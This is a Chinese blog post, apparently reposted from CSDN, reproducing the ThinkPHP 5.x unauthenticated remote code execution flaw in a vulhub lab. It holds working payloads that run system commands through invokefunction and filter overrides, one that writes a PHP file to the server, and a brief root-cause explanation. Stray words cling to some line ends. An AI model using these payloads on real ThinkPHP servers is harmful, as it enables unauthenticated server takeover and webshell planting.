ThinkPHP 5.0.x、5.1.x、5.2.x 全版本遠程代碼執行漏洞php
做者:SoulCat.
來源:CSDN
原文:https://blog.csdn.net/csacs/article/details/86668057
版權聲明:本文爲博主原創文章,轉載請附上博文連接!docker
漏洞概述:
ThinkPHP是一個快速、兼容並且簡單的輕量級國產PHP開發框架。借鑑Struts框架的Action對象,同時也使用面向對象的開發結構和MVC模式。1月11日,ThinkPHP官方發佈新版本5.0.24,在1月14日和15日發佈兩個更新,這幾回更新都修復了遠程代碼執行漏洞,對於5.0.x、5.1.x、5.2.x 這幾個版本,都無需登入能夠進行遠程代碼執行。
漏洞版本:
5.0.x
5.1.x
5.2.x
漏洞搭建:
利用vulhub漏洞平臺(簡單粗暴,可一鍵生成漏洞!)進行快速搭建,cd 到thinkphp目錄,任意選擇一個版本,而後docker-compose up -d
5.1.x以後,必須在本地搭建,vulhub未提供。
如圖所示搭建成功,走起!thinkphp
漏洞復現:
分兩個版本5.0.x和5.1.x、5.2.x,分別驗證。
1.版本5.0.x
將控制的url參數s的設置爲captcha,而且設置post數據:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
-shell
成功執行命令app
針對於這個版本還有一個漏洞,主要因爲框架對控制器名沒有進行足夠的檢測會致使在沒有開啓強制路由的狀況下可能的遠程命令執行漏洞。框架
遠程執行命令payload(不惟一):s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami函數
寫文件payload(不惟一):?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>ipost
2.版本5.1.x、5.2.x
這兩個版本如今用的不多,而且針對於這兩個版本有點雞肋,須要index.php文件中跳過報錯提示。 語句:error_reporting(0);
Payload:a=system&b=whoami&_method=filterurl
漏洞修復:
及時打補丁。
前方道路坎坷,記得及時行樂。
總結:
這兩個版本的遠程漏洞本質上都是變量覆蓋漏洞,在一處存在缺陷的方法中沒有對用戶輸入作嚴格判斷,經過傳遞_method參數覆蓋了配置文件的_method,致使能夠訪問Request類的任意函數,而在Request的構造函數中又建立了惡意的成員變量,致使後面的命令執行;而在5.1和5.2版本中則是直接覆蓋過濾器,在忽略運行異常時能夠觸發漏洞,也是很棒棒,膜拜大佬!
ps:萌新一枚,餘生很長,請多指教。.net
---------------------